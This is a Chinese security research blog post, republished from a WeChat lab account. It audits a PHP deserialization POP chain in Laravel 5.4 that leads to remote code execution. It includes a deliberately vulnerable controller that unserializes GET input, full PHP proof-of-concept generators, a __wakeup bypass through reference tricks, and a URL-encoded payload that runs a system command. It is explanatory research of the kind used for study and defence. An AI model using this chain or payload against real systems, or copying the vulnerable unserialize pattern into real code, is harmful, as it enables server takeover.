Laravel 5.4.*反序列化

admin 2022年11月30日12:43:49安全文章评论11 views11050字阅读36分50秒阅读模式

出品|先知社区(ID:Ho1L0wBy)

声明


以下内容,来自先知社区的Ho1L0wBy作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。


环境搭建


对于Laravel 5.4.*的环境搭建,这里我主要用到的是Composer,因为Laravel这个框架其实和Composer联系比较深,对于框架都可以用Composer直接一个命令拉出来。

composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*"

或者是在github上面下载Releases也可以:

https://github.com/laravel/laravel

这里的laravel5.4是生成文件名,后面的5.4.*则是版本号。

然后进行一系列操作,参考如下博客:

https://blog.csdn.net/qq78442761/article/details/124537501+

接下来还是常规操作,对于路由进行配置:

routes/web.php

添加:

Route::get("/","[email protected]");

然后在Controller,控制器里添加用来反序列化的函数。

app/Http/Controllers/POPController.php<?phpnamespace AppHttpControllers;use IlluminateHttpRequest;class POPController extends Controller{    public function test(){        if(isset($test)){            $test = $_GET['test'];            unserialize($test);        }        else{            echo "No Data";        }    }}

简单写一个反序列化函数,能够实现反序列化就可以了,注意一下命名空间。然后注意,写的那个函数名要和路由里的一样。

到这里,环境就已经搭建好了。Laravel 5.4.*反序列化

审计流程


首先还是传统方式,找一个入口,这里直接用Seay进行扫描,生成一个全局的敏感函数的报告。

然后再用Seay自带的查找功能,去找一个合适的__destruct()作为反序列化的入口。

Laravel 5.4.*反序列化时也可以找找看__wakeup()函数。

Laravel 5.4.*反序列化可以看见都挺多的,这里我们首先从__destruct()入手。这里可以多找找,比如第一个

/vendor/fzaninotto/faker/src/Faker/Generator.php

这个地方跟进去,可以发现不是入口Laravel 5.4.*反序列化这里可以看见,seed()函数,就是一个调用随机数的函数,没有看见利用点。

POP链


这里直接看第二个,通过网上的一些资料可以知道这个是有问题的,这里我自己挖掘走一遍:

/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

找到destruct()方法:Laravel 5.4.*反序列化

这里有个dispath方法,关于这个方法,可以从这里看见描述,主要的作用是用于任务推送。

https://laravelacademy.org/post/22286

不过用处不大,可以直接跳过,这里直接看一下$this->event,$this->eventsLaravel 5.4.*反序列化这里两个变量都只有一个写入值,而且是__construct()方法中的,我们可以控制并调用$events来决定调用哪个类中的dispatch(),同时这里很显然$event的值是我们可以控制的,可以作为跳板,跳转到别的文件中。

这边可以找一下有没有好用的类里有dispatch()作为突破点,一番寻找下来没有看见,那就考虑一下$event。

dispath()这个函数不会进行字符串的输出,所以不能以__toString()作为跳板,这里优先考虑一下,找一个没有dispatch()方法的类,通过这个方式去调用__call(),将$event作为参数,使用Seay进行全局搜索。

Laravel 5.4.*反序列化稍微有点多,87处。

这里我上网找了一下别的师傅的博客,这里大部分师傅都是调用的Generation里的__call()方法。我直接跟进一下。

Laravel 5.4.*反序列化这里看一下$method 和$attributes

Laravel 5.4.*反序列化可以发现只有一个赋值点,可以控制参数。这里跟进一下函数

$method和$attributes在这里作为call_user_fu-nc_array()函数的参数,进行使用。call_user_func_array()这个函数是一个回调函数,格式是

call_user_func_array($function,$param[])

其中$function是用于指定调用函数的参数,而$param是作为参数的数组,返回值是布尔值,由回调的函数是否执行成功决定返回true或是false。

在当前函数中,$argument被控制的,而具体函数则是调用getFormatter函数的返回值,跟进一下getFormatter()。

Laravel 5.4.*反序列化这里直接看第一个if就可以了,这个函数没有对输入做更多处理,只要存在输入,就会直接返还。因此可以知道这里是可以直接调用我们想要的函数。

这里就已经构成rce了,通过回调函数call_user_func_array()会造成任意代码执行。

这里总结一下利用逻辑:

Laravel 5.4.*反序列化

<?phpnamespace IlluminateBroadcasting{    class  PendingBroadcast{        protected $events;        protected $event;        function __construct($events,$event){            $this->events = $events;            $this->event = $event;        }    }}namespace Faker{    class Generator{        protected $formatters;        function __construct(){            $formatters = ['dispatch'=>'system'];        }    }}namespace {    $a = new FakerGenerator();    $b = new IlluminateBroadcastingPendingBroadcast($a,'ls');    echo(urlencode(serialize($b)));}?>

理论上来说,当执行了这个POC之后,就会执行ls命令。

问题:

不过这里会有一个问题,应该是Laravel官方在后续的更新里对这个版本进行了更新,然后通过一个__wakeup()将$formatters置空了。

Laravel 5.4.*反序列化也就是说这条链子这里是死了,不能继续调用。

inHann师傅给出的解决思路:

但是这里应该还是存在一些解决方案的,当我看见这个__wakeup()的时候,首先考虑到的就是能不能改变对象的数量,然后通过CVE-2016-7124(__wakeup绕过),来进行绕过。

但是这里存在一个问题,对于Laravel 5.4.*,需要的PHP版本需要大于等于5.6.4

Laravel 5.4.*反序列化

而这个CVE的影响范围却是,PHP5<5.6.25,PHP7<7.0.10,因此这个不在CVE使用的范围内。

但是后来我在P神的知识星球里面看到了一篇文章,是inHann师傅给出的思路,这里我尝试用于解决一下5.4.*版本的Laravel的__wakeup()绕过问题。

原文如下:

https://inhann.top/2022/05/17/bypass_wakeup/

这里我还是写一下个人理解以及需要的前置知识。

参考了:

https://blog.frankli.site/2021/04/11/Security/php-src/PHP-Serialize-tips/

https://www.neatstudio.com/show-161-1.shtml


前置知识


PHP序列化与反序列化中的数据类型与引用方式(reference)

首先,我们知道在PHP中,使用serialize()函数对对象进行序列化的时候,会

使用不同的字母将其中的变量的类型表示出来,例如:<?phpclass Demo{    var $a;    var $b;    public function __construct(){        $this->a = "String";        $this->b = 1;    }}$demo = new Demo();echo serialize($demo);

其中O代表的对象,s代表字符串,i代表整形。

全部类型:

Laravel 5.4.*反序列化

比较常见的类型都是数组之类的,但是其中有两个比较特殊的变量类型,r,R。这两个表示的是引用。

其中r表示的是对象引用,个人理解也可以说是对于标识符的引用。而R表示的是指针引用,也就是直接引用指向对应内存地址的指针。或者说:

当两个对象本来就是同一个对象时后出现的对象将会以小写r表示。而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

两者之间的区别就是,R等于是两个不同的变量名指向了同一块内存(或者说两个不同的变量名里面存了两个不一样的标识符,但是两个标识符都是同时指向同一个内存),因此任何一个变量被改变了,都会影响到所有变量的值。

而r是相当于直接重新开辟了一个内存,只是将值复制过来,然后保存。第一个是浅拷贝,也就是相当于是PHP序列化中的R。

Laravel 5.4.*反序列化

(如果变量a将[1,2,3]进行了更改,那么b的值自然也会进行更改)二个是深拷贝,也就是对应的r。

Laravel 5.4.*反序列化

(变量a,b相互不影响)这里我用程序演示一下:

<?phpclass Demo{    var $a;    var $b;    var $c;    public function __construct(){        $this->a = 'first';        $this->b = 'second';        $this->c = 'third';    }}$d = new Demo();echo (serialize($d)."n");$d->c = $d;echo (serialize($d)."n");$d->c = $d->a;echo (serialize($d)."n");$d->c = &$d->a;echo (serialize($d));

运行结果如下:Laravel 5.4.*反序列化这里需要注意的是,Demo这个类,应当被编号为1,所以第二个输出的结果是r:1。然后$a被标志为2,依次类推。

r:1表示的就是引用第一个值,也就是Demo。类似的,r:2就是a的值。

<?phpclass SampleClass {    var $value;}$a = new SampleClass();$a->value = $a;//O:11:"SampleClass":1:{s:5:"value";r:1;}$b = new SampleClass();$b->value = &$b;//O:11:"SampleClass":1:{s:5:"value";R:1;}$a->value = 1;$b->value = 1;var_dump($a);var_dump($b);

可以看见在运行了之后,$a只是改变了$value的值,而$b是直接将本身的值改变了。

Laravel 5.4.*反序列化

这个就是两者之间的差别。同时,这种方式有一个特点,即使你不是通过serialize()函数或是Serializable接口进行的正规序列化,而是直接手写一个R:2上去,也同样可以完成对于对象的引用。

利用思想


这里就出现了一个利用方式的思考,因为R方式的引用,可以使得两个不同的变量的值保持相同。

如果可以满足这个步骤:

  1. 使得被置空

    的$formatters变量,与某个类中的变量$bypass成为R的指针引用关系。

  2. 当$formatters被置空的时候,通过改变$bypass的值,即可对$formatters的值进行修改

  3. 在执行getFormatter()之前完成上述操作,就可以成功对冲那个__wakeup()函数了。

也就是说,最好能够找到一个赋值语句,且被赋值的语句是类中的成员属性。类似:

$this->a = xxx

这样,就可以进行序列化,然后直接修改$a的引用方式,使得其引用$formatters,然后对其进行重新赋值,达成绕过。

这里想要达成在__wakeup()之后重新赋值的操作,正常的想法,就是通过反序列化后,触发某个类中的__wakeup()方法来进行赋值,或是在销毁类的时候,调用其中的__destruct()方法,来进行操作。

这里全局搜索一下__wakeup()方法:

Laravel 5.4.*反序列化


尝试


尝试1:

每一个都看了一下,感觉上

/vendor/laravel/framework/src/Illuminate/Queue/SerializesModels.php比较有可能性:

public function __wakeup(){        foreach ((new ReflectionClass($this))->getProperties() as $property) {            $property->setValue($this, $this->getRestoredPropertyValue(                $this->getPropertyValue($property)            ));        }    }

这里使用了一个foreach()函数进行了遍历,这里可以看到,使用了PHP中的反射类ReflectionClass,这个类的作用是通过类名来获取类的成员属性和方法信息。这里的参数是$this,也就是获取对象中的成员属性,然后会作为ReflectionProperty类的数组返回其中的成员。

通过foreach()函数,将值依次赋给$property。然后调用了setValue()方法,这个是ReflectionProperty中自带的方法,用于对成员属性重新赋值,这里可以看到函数定义

Laravel 5.4.*反序列化

Laravel 5.4.*反序列化

这里跟进一下getRestoredPropertyValue()方法,

Laravel 5.4.*反序列化第一个if会直接判断传入的参数是不是ModelIdentifier类中的成员属性,如果不是就会直接返回原值,到这里就够了,可以直接看下一步。跟进一下getPropertyValue()

Laravel 5.4.*反序列化这里可以看到,就是直接调用了setAccessible()函数,保证这里可以访问保护或者是私有的属性,然后返回值。

本来这里应该是一个可以利用的点,但是因为这个类中没有定义成员变量,无法利用setValue()这一段。算是失败了。

尝试2:

因为上面看过了wakeup()函数暂时是没有可以利用点,这里重新看一下`destruct()`

看看能不能找到什么可以利用的点。

这里找到了一个疑似可以利用的地方:

vendorsebastianrecursion-contextsrcContext.php

Laravel 5.4.*反序列化

这里可以看到,作为私有属性定义的$arrays变量,只有通过__construct()方法进行赋值,或者是调用addArray()函数,进行属性的添加。因此我们可以对这个数组的内容进行操作。

但是,虽然可以对数组进行操作,但是我们不能对$array变量进行操作操作,因此不能使它对$formatters变量进行引用,也就不能利用了。

如果这里对$array进行了成员属性的定义,就是一个可以利用的点。

尝试3:

这里还有一个疑似可以利用的地方:

vendorsymfonyroutingLoaderConfiguratorCollectionConfigurator.php

Laravel 5.4.*反序列化这里可以看见成员属性$this->collection被新建为了RouteCollection类的对象,然后在__destruct()中,进行了方法调用。

这里跟进一下addPrefix方法这里看名字应该是某个添加什么东西的方法。

public function addPrefix($prefix, array $defaults = [], array $requirements = []){        $prefix = trim(trim($prefix), '/');        if ('' === $prefix) {            return;        }        foreach ($this->routes as $route) {            $route->setPath('/'.$prefix.$route->getPath());            $route->addDefaults($defaults);            $route->addRequirements($requirements);        }    }

这里对$prefix参数进行了处理,将字符串左右的空白制表等符号,还有/去除,如果去除完了之后是空,则直接返回。如果不是,则对RouteCollection中的成员属性进行foreach()遍历。

这里跟进一下setPath()

Laravel 5.4.*反序列化这里可以看到$this->path,这里有一个外面的/,没办法去除,绕不过。不然可以尝试去修改$formatters

接下来看看addDefaults方法。

其中$this->defaults的值是我们可以控制的,如果对传入的参数我们可以完全控制的话,$name和$default也都是我们可以控制的内容,这里就算是打通了。

也就是通过数组的相互引用来修改$formatters的值,具体操作思路如下:

//思路:<?phpclass Demo{    public $a = [];    public $default = [];    public $array;    public function __construct(){        $this->a = array("a","b");        $this->array = array(1,2,3,4,5);    }    public function __wakeup(){        var_dump($this->a);        echo "n";        var_dump($this->default);        foreach($this->array as $name=>$value){            $this->default[$name] = $value;            var_dump($this->default[$name]);        }        var_dump($this->a);    }}$demo = new Demo();echo serialize($demo);unserialize('O:4:"Demo":3:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}s:7:"default";R:2;s:5:"array";a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}}');//注意看default后面那个R:2,这里是引用了$a的值。

Laravel 5.4.*反序列化

输出结果如上,可以看到$a的值,从["a","b"],变成了[1,2,3,4,5]这里可以实现修改。同样的,对于$formatters也可以进行这样的操作。回头看一下$defaults值的获取。Laravel 5.4.*反序列化下面的addRequirements()函数也是同理,都是不能传递参数的一个形参,无法调用。再回头看一下addCollection()这部分:

这部分可以看到调用了一个函数,直接跟进一下。这个是RouteCollection类中的方法。Laravel 5.4.*反序列化这里可以看到用的是传入的类中的参数,调用了其中的all()函数,这里跟进一下:可以看到这里关于$routes变量的赋值,是我们可以操控的。

这里这个函数的foreach()部分,和之前分析的基本一样,因此这里应该是可以打通的。

构造POC


用之前的POC来进行修改:这里注意要利用__wakeup()和__destruct()执行的顺序差。

<?phpnamespace SymfonyComponentRoutingLoaderConfigurator{    class CollectionConfigurator{        public function __construct(){            $this->parent = new SymfonyComponentRoutingRouteCollection();            $this->collection = new SymfonyComponentRoutingRouteCollection();            $this->route = new SymfonyComponentRoutingRoute();            $this->parentConfigurator = new IlluminateBroadcastingPendingBroadcast();        }    }}namespace SymfonyComponentRouting{    use Traversable;    class RouteCollection implements IteratorAggregate, Countable{        public function __construct(){            $this->routes = array("dispatch"=>"system");        }        public function getIterator(){            // TODO: Implement getIterator() method.        }        public function count(){            // TODO: Implement count() method.        }    }    class Route implements Serializable{        public function __construct(){            $this->path = '////';  //这里被trim了之后会直接为空,进入return,主要是为了方便        }        public function serialize(){            return serialize([                'path' => $this->path,                'host' => $this->host,                'defaults' => $this->defaults,                'requirements' => $this->requirements,                'options' => $this->options,                'schemes' => $this->schemes,                'methods' => $this->methods,                'condition' => $this->condition,                'compiled' => $this->compiled,            ]);        }        public function unserialize($data){            // TODO: Implement unserialize() method.        }    }}namespace IlluminateBroadcasting{    class  PendingBroadcast{        protected $events;        protected $event;        function __construct(){            $this->events = new FakerGenerator();            $this->event = 'calc.exe'; //执行的命令在这里,修改了就可以        }    }}namespace Faker{    class Generator{        protected $formatters;        protected $providers;        public function __construct(){            $this->formatters = ['useless'];        }    }}namespace {    $POC = new SymfonyComponentRoutingLoaderConfiguratorCollectionConfigurator();    echo urlencode(str_replace('363','333',str_replace('a:1:{i:0;s:7:"useless";}', 'R:3;', serialize($POC))));}

然后输出的结果是:

Payload:

O%3A68%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CCollectionConfigurator%22%3A4%3A%7Bs%3A6%3A%22parent%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A10%3A%22collection%22%3BO%3A41%3A%22Symfony%5CComponent%5CRouting%5CRouteCollection%22%3A1%3A%7Bs%3A6%3A%22routes%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A5%3A%22route%22%3BC%3A31%3A%22Symfony%5CComponent%5CRouting%5CRoute%22%3A163%3A%7Ba%3A9%3A%7Bs%3A4%3A%22path%22%3Bs%3A4%3A%22%2F%2F%2F%2F%22%3Bs%3A4%3A%22host%22%3BN%3Bs%3A8%3A%22defaults%22%3BN%3Bs%3A12%3A%22requirements%22%3BN%3Bs%3A7%3A%22options%22%3BN%3Bs%3A7%3A%22schemes%22%3BN%3Bs%3A7%3A%22methods%22%3BN%3Bs%3A9%3A%22condition%22%3BN%3Bs%3A8%3A%22compiled%22%3BN%3B%7D%7Ds%3A18%3A%22parentConfigurator%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3BR%3A3%3Bs%3A12%3A%22%00%2A%00providers%22%3BN%3B%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A8%3A%22calc.exe%22%3B%7D%7D

演示:

Laravel 5.4.*反序列化

到这里就算是告一段落了。


利用链梳理


Laravel 5.4.*反序列化

总结


这条链子主要是因为inHann师傅在他的研究里给出的是一个依赖里的链子,所以我想看看在Laravel里面有没有可以不通过依赖直接利用的那个__wakeup()的地方,然后捣腾出来的。之前看了一些博客,说这里被__wakeup()的置空给堵死了,但其实还是有办法利用的。

(其实感觉有点属于屠龙之技,没什么用,主要还是给师傅们提供一个思路吧hhh,希望师傅们轻喷。)

这一次审计主要学到的还是这个对冲的操作在POP链中的利用方式,这个做法还是很灵活的。


Laravel 5.4.*反序列化
Laravel 5.4.*反序列化
Laravel 5.4.*反序列化

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识


原文始发于微信公众号(长白山攻防实验室):Laravel 5.4.*反序列化

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月30日12:43:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Laravel 5.4.*反序列化 http://cn-sec.com/archives/1434412.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: